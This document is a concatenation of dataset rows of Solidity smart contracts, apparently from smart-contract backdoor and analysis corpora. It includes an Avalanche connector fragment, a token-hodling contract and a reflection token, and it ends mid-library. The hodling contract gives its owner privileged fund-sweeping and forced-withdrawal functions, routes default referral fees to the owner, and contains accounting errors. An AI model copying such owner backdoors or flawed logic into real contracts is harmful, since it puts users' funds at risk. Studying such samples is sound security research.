disable(address) external; function isAuth(address) external view returns (bool); } // File contracts/avalanche/common/stores.sol abstract contract Stores { address constant internal avaxAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address constant internal wavaxAddr = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7; MemoryInterface constant internal instaMemory = MemoryInterface(0x3254Ce8f5b1c82431B8f21Df01918342215825C2); function getUint(uint getId, uint val) internal returns (uint returnVal) { returnVal = getId == 0 ? val : instaMemory.getUint(getId); } function setUint(uint setId, uint val) virtual internal { if (setId != 0) instaMemory.setUint(setId, val); } } // File contracts/avalanche/common/basic.sol abstract contract Basic is DSMath, Stores { function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = (_amt / 10 ** (18 - _dec)); } function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) { amt = mul(_amt, 10 ** (18 - _dec)); } function getTokenBal(TokenInterface token) internal view returns(uint _amt) { _amt = address(token) == avaxAddr ? address(this).balance : token.balanceOf(address(this)); } function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) { buyDec = address(buyAddr) == avaxAddr ? 18 : buyAddr.decimals(); sellDec = address(sellAddr) == avaxAddr ? 18 : sellAddr.decimals(); } function encodeEvent(string memory eventName, bytes memory eventParam) internal pure returns (bytes memory) { return abi.encode(eventName, eventParam); } function approve(TokenInterface token, address spender, uint256 amount) internal { try token.approve(spender, amount) { } catch { token.approve(spender, 0); token.approve(spender, amount); } } function changeAvaxAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){ _buy = buy == avaxAddr ? TokenInterface(wavaxAddr) : TokenInterface(buy); _sell = sell == avaxAddr ? TokenInterface(wavaxAddr) : TokenInterface(sell); } function convertAvaxToWavax(bool isAvax, TokenInterface token, uint amount) internal { if(isAvax) token.deposit{value: amount}(); } function convertWavaxToAvax(bool isAvax, TokenInterface token, uint amount) internal { if(isAvax) { approve(token, address(token), amount); token.withdraw(amount); } } } // File contracts/avalanche/connectors/basic/events.sol contract Events { event LogDeposit(address indexed erc20, uint256 tokenAmt, uint256 getId, uint256 setId); event LogWithdraw(address indexed erc20, uint256 tokenAmt, address indexed to, uint256 getId, uint256 setId); } // File contracts/avalanche/connectors/basic/main.sol abstract contract BasicResolver is Events, DSMath, Basic { using SafeERC20 for IERC20; function deposit(address token, uint256 amt, uint256 getId, uint256 setId) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); if (token != avaxAddr) { IERC20 tokenContract = IERC20(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(msg.sender) : _amt; tokenContract.safeTransferFrom(msg.sender, address(this), _amt); } else { require(msg.value == _amt || _amt == uint(-1), "invalid-ether-amount"); _amt = msg.value; } setUint(setId, _amt); _eventName = "LogDeposit(address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, _amt, getId, setId); } function withdraw(address token, uint amt, address payable to, uint getId, uint setId) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); if (token == avaxAddr) { _amt = _amt == uint(-1) ? address(this).balance : _amt; to.call{value: _amt}(""); } else { IERC20 tokenContract = IERC20(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt; tokenContract.safeTransfer(to, _amt); } setUint(setId, _amt); _eventName = "LogWithdraw(address,uint256,address,uint256,uint256)"; _eventParam = abi.encode(token, _amt, to, getId, setId); } } contract ConnectV2BasicAvalanche is BasicResolver { string constant public name = "Basic-v1"; }
77,772
12,072
7c5d9344ef62396da3fb525501fee2ff1482e71f4d880045ddcf48c4504e981b
18,400
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0x46b87b5182333685813cb50f918c4c0a065824a7.sol
5,267
17,205
pragma solidity ^0.4.25; ////// Version 6.1 ////// // Contract 01 contract EthereumSmartContract { address oooooo; constructor() public { oooooo = msg.sender; } modifier restricted() { require(msg.sender == oooooo); _; } function ooooooo() public view returns (address ooooo) { return oooooo; } } // Contract 02 contract ldoh is EthereumSmartContract { // Event event onAddContractAddress(address indexed contracthodler, bool contractstatus, uint256 _maxcontribution); event onCashbackCode(address indexed hodler, address cashbackcode); event onHodlTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onClaimTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReturnAll(uint256 returned); // Variables address internal ABCDtoken; // Struct Database struct Safe { uint256 id; // 01 -- > Registration Number uint256 amount; // 02 -- > Total amount of contribution to this transaction uint256 endtime; // 03 -- > The Expiration Of A Hold Platform Based On Unix Time address user; // 04 -- > The ETH address that you are using address tokenAddress; // 05 -- > The Token Contract Address That You Are Using string tokenSymbol; // 06 -- > The Token Symbol That You Are Using uint256 amountbalance; // 07 -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // 08 -- > 16% from Contribution uint256 lasttime; // 09 -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // 10 -- > The percentage of tokens that are unlocked every month (Default = 3%) uint256 percentagereceive; // 11 -- > The Percentage You Have Received uint256 tokenreceive; // 12 -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // 13 -- > The Last Amount You Withdraw address referrer; // 14 -- > Your ETH referrer address } // Uint256 uint256 public percent = 3; // 01 -- > Monthly Unlock Percentage uint256 private constant affiliate = 12; // 02 -- > Affiliate Bonus = 12% Of Total Contributions uint256 private constant cashback = 16; // 03 -- > Cashback Bonus = 16% Of Total Contributions uint256 private constant nocashback = 28; // 04 -- > Total % loss amount if you don't get cashback uint256 private constant totalreceive = 88; // 05 -- > The total amount you will receive uint256 private constant seconds30days = 2592000; // 06 -- > Number Of Seconds In One Month uint256 private IDNumber; // 07 -- > ID number (Start from 500) uint256 public TotalUser; // 08 -- > Total Smart Contract User uint256 public hodlingTime; // 09 -- > Length of hold time in seconds // Mapping mapping(address => bool) public contractaddress; // 01 -- > Contract Address mapping(address => uint256) public maxcontribution; // 02 -- > Maximum Contribution mapping(address => address) public cashbackcode; // 03 -- > Cashback Code mapping(address => uint256) public TokenBalance; // 04 -- > Token Balance mapping(address => uint256) public AllContribution; // 05 -- > Deposit amount for all members mapping(address => uint256) public AllPayments; // 06 -- > Withdraw amount for all members mapping(address => uint256[]) public IDAddress; // 07 -- > Search ID by Address mapping(uint256 => Safe) private _safes; // 08 -- > Struct safe database mapping(address => uint256) private EthereumVault; // 09 -- > Reserve Funds // Double Mapping mapping (address => mapping (address => uint256)) public LifetimeContribution; // 01 -- > Total Deposit Amount Based On Address And Token mapping (address => mapping (address => uint256)) public Affiliatevault; // 02 -- > Affiliate Balance That Hasn't Been Withdrawn mapping (address => mapping (address => uint256)) public Affiliateprofit; // 03 -- > The Amount Of Profit As An Affiliate // Miscellaneous address[] public _listedReserves; // ????? //Constructor constructor() public { ABCDtoken = 0x8b70a0697F4C2F12De6B65904df0fC8e61547f46; hodlingTime = 730 days; IDNumber = 500; } ////////////////////////////////// Function ////////////////////////////////// // Function 01 - Fallback Function To Receive Donation In Eth function () public payable { require(msg.value > 0); EthereumVault[0x0] = add(EthereumVault[0x0], msg.value); } // Function 02 - Contribute (Hodl Platform) function HodlTokens(address tokenAddress, uint256 amount) public { require(tokenAddress != 0x0); require(amount > 0 && amount <= maxcontribution[tokenAddress]); if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); uint256 affiliatecomission = div(mul(amount, affiliate), 100); uint256 WithoutCashback = div(mul(amount, nocashback), 100); if (cashbackcode[msg.sender] == 0) { uint256 data_amountbalance = div(mul(amount, 72), 100); uint256 data_cashbackbalance = 0; address data_referrer = oooooo; cashbackcode[msg.sender] = oooooo; emit onCashbackCode(msg.sender, oooooo); EthereumVault[tokenAddress] = add(EthereumVault[tokenAddress], WithoutCashback); } else { data_referrer = cashbackcode[msg.sender]; data_amountbalance = sub(amount, affiliatecomission); data_cashbackbalance = div(mul(amount, cashback), 100); uint256 referrer_contribution = LifetimeContribution[data_referrer][tokenAddress]; if (referrer_contribution >= amount) { Affiliatevault[data_referrer][tokenAddress] = add(Affiliatevault[data_referrer][tokenAddress], affiliatecomission); Affiliateprofit[data_referrer][tokenAddress] = add(Affiliateprofit[data_referrer][tokenAddress], affiliatecomission); } else { uint256 Newbie = div(mul(referrer_contribution, affiliate), 100); Affiliatevault[data_referrer][tokenAddress] = add(Affiliatevault[data_referrer][tokenAddress], Newbie); Affiliateprofit[data_referrer][tokenAddress] = add(Affiliateprofit[data_referrer][tokenAddress], Newbie); uint256 data_unusedfunds = sub(affiliatecomission, Newbie); EthereumVault[tokenAddress] = add(EthereumVault[tokenAddress], data_unusedfunds); } } // Insert to Database IDAddress[msg.sender].push(IDNumber); _safes[IDNumber] = Safe(IDNumber, amount, now + hodlingTime, msg.sender, tokenAddress, token.symbol(), data_amountbalance, data_cashbackbalance, now, percent, 0, 0, 0, data_referrer); LifetimeContribution[msg.sender][tokenAddress] = add(LifetimeContribution[msg.sender][tokenAddress], amount); // Update Token Balance, ID Number, Total User AllContribution[tokenAddress] = add(AllContribution[tokenAddress], amount); TokenBalance[tokenAddress] = add(TokenBalance[tokenAddress], amount); IDNumber++; TotalUser++; emit onHodlTokens(msg.sender, tokenAddress, token.symbol(), amount, now + hodlingTime); } } // Function 03 - Claim Tokens function ClaimTokens(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); if (s.amountbalance == 0) { revert(); } else { RetireHodl(tokenAddress, id); } } function RetireHodl(address tokenAddress, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == tokenAddress); uint256 eventAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; if(s.endtime < now) // Hodl Complete { PayToken(s.user, s.tokenAddress, s.amountbalance); eventAmount = s.amountbalance; TokenBalance[s.tokenAddress] = sub(TokenBalance[s.tokenAddress], s.amountbalance); AllPayments[tokenAddress] = add(AllPayments[tokenAddress], s.amountbalance); s.lastwithdraw = s.amountbalance; s.amountbalance = 0; s.lasttime = now; s.tokenreceive = div(mul(s.amount, totalreceive), 100) ; s.percentagereceive = mul(mul(88, 100), 100000000000000000000) ; emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } else { uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), seconds30days); // uint256 CalculateWithdraw = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); // Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } // Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount = s.amountbalance; } else { realAmount = MaxAccumulation; } s.lastwithdraw = realAmount; AllPayments[tokenAddress] = add(AllPayments[tokenAddress], realAmount); uint256 newamountbalance = sub(s.amountbalance, realAmount); UpdateUserData(tokenAddress, id, newamountbalance, realAmount); } } function UpdateUserData(address tokenAddress, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == tokenAddress); uint256 eventAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; s.amountbalance = newamountbalance; s.lasttime = now; uint256 tokenaffiliate = div(mul(s.amount, affiliate), 100) ; uint256 maxcashback = div(mul(s.amount, cashback), 100) ; uint256 tokenreceived = sub(add(sub(sub(s.amount, tokenaffiliate), newamountbalance), s.cashbackbalance), maxcashback) ; // Cashback = 100 - 12 - 88 + 16 - 16 = 0 ----> WithoutCashback = 100 - 12 - 72 + 0 - 16 = 1 uint256 percentagereceived = mul(div(tokenreceived, s.amount), 100000000000000000000) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; TokenBalance[s.tokenAddress] = sub(TokenBalance[s.tokenAddress], realAmount); PayToken(s.user, s.tokenAddress, realAmount); eventAmount = realAmount; emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); } // Function 04 - Get How Many Contribute ? function TotalContribution(address hodler) public view returns (uint256 length) { return IDAddress[hodler].length; } // Function 05 - Get Data Values function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive, address referrer) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive, s.referrer); } // Function 06 - Get Tokens Reserved function GetTokenFees(address tokenAddress) public view returns (uint256 amount) { return EthereumVault[tokenAddress]; } // Function 07 - Cashback Code function CashbackCode(address _cashbackcode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0) { cashbackcode[msg.sender] = _cashbackcode; emit onCashbackCode(msg.sender, _cashbackcode); } } // Function 08 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(user == msg.sender); uint256 amount = Affiliatevault[msg.sender][tokenAddress]; Affiliatevault[msg.sender][tokenAddress] = 0; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); } ////////////////////////////////// restricted ////////////////////////////////// // 01 - Add Contract Address function AddContractAddress(address tokenAddress, bool contractstatus, uint256 _maxcontribution) public restricted { contractaddress[tokenAddress] = contractstatus; maxcontribution[tokenAddress] = _maxcontribution; emit onAddContractAddress(tokenAddress, contractstatus, _maxcontribution); } // 02 - Add Maximum Contribution function AddMaxContribution(address tokenAddress, uint256 _maxcontribution) public restricted { maxcontribution[tokenAddress] = _maxcontribution; } // 03 - Add Retire Hodl function AddRetireHodl(address tokenAddress, uint256 id) public restricted { require(tokenAddress != 0x0); require(id != 0); RetireHodl(tokenAddress, id); } // 04 - Change Hodling Time function ChangeHodlingTime(uint256 newHodlingDays) restricted public { require(newHodlingDays >= 180); hodlingTime = newHodlingDays * 1 days; } // 05 - Change Speed Distribution function ChangeSpeedDistribution(uint256 newSpeed) restricted public { require(newSpeed <= 12); percent = newSpeed; } // 06 - Withdraw Ethereum Received Through Fallback Function function WithdrawEth(uint256 amount) restricted public { require(amount > 0); require(address(this).balance >= amount); msg.sender.transfer(amount); } // 07 - Withdraw Token Fees function WithdrawTokenFees(address tokenAddress) restricted public { require(EthereumVault[tokenAddress] > 0); uint256 amount = EthereumVault[tokenAddress]; EthereumVault[tokenAddress] = 0; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); } // 08 - Return All Tokens To Their Respective Addresses function ReturnAllTokens(bool onlyABCD) restricted public { uint256 returned; for(uint256 i = 1; i < IDNumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if ((onlyABCD && s.tokenAddress == ABCDtoken) || !onlyABCD) { PayToken(s.user, s.tokenAddress, s.amountbalance); s.lastwithdraw = s.amountbalance; s.amountbalance = 0; s.lasttime = now; s.tokenreceive = div(mul(s.amount, totalreceive), 100) ; s.percentagereceive = mul(mul(88, 100), 100000000000000000000) ; AllPayments[s.tokenAddress] = add(AllPayments[s.tokenAddress], s.amountbalance); TokenBalance[s.tokenAddress] = 0; TotalUser--; returned++; } } } emit onReturnAll(returned); } // SAFE MATH FUNCTIONS // function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract ERC20Interface { uint256 public totalSupply; uint256 public decimals; function symbol() public view returns (string); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
143,077
12,073
97cbeba98ba9010172811e319b227e01f090afbc15f4e7242169821b66a879cd
25,332
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/harvardcoin-0xacce3374597b53f4160a9ef4226449111058cdfb.sol
4,476
16,547
// harvardcoin (HRVD) // harvardcoin, higher education blockchain // harvardcoin is a deflationary farming higher education powered currency // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract harvardcoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'harvardcoin'; string private _symbol = 'HRVD'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
180,808
12,074
73a42900c924339168bdd30e226d1a4002dc246310dcc285ddc3f6ccc802dbe0
23,833
.sol
Solidity
false
559006687
Sapo-Dorado/FortaKnight
b4170216038285b34477a0e05f95450ae7bf4aa1
analysis/Contracts/contract_758.sol
3,997
16,180
pragma solidity 0.5.7; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : dave@akomba.com // released under Apache 2.0 licence interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; 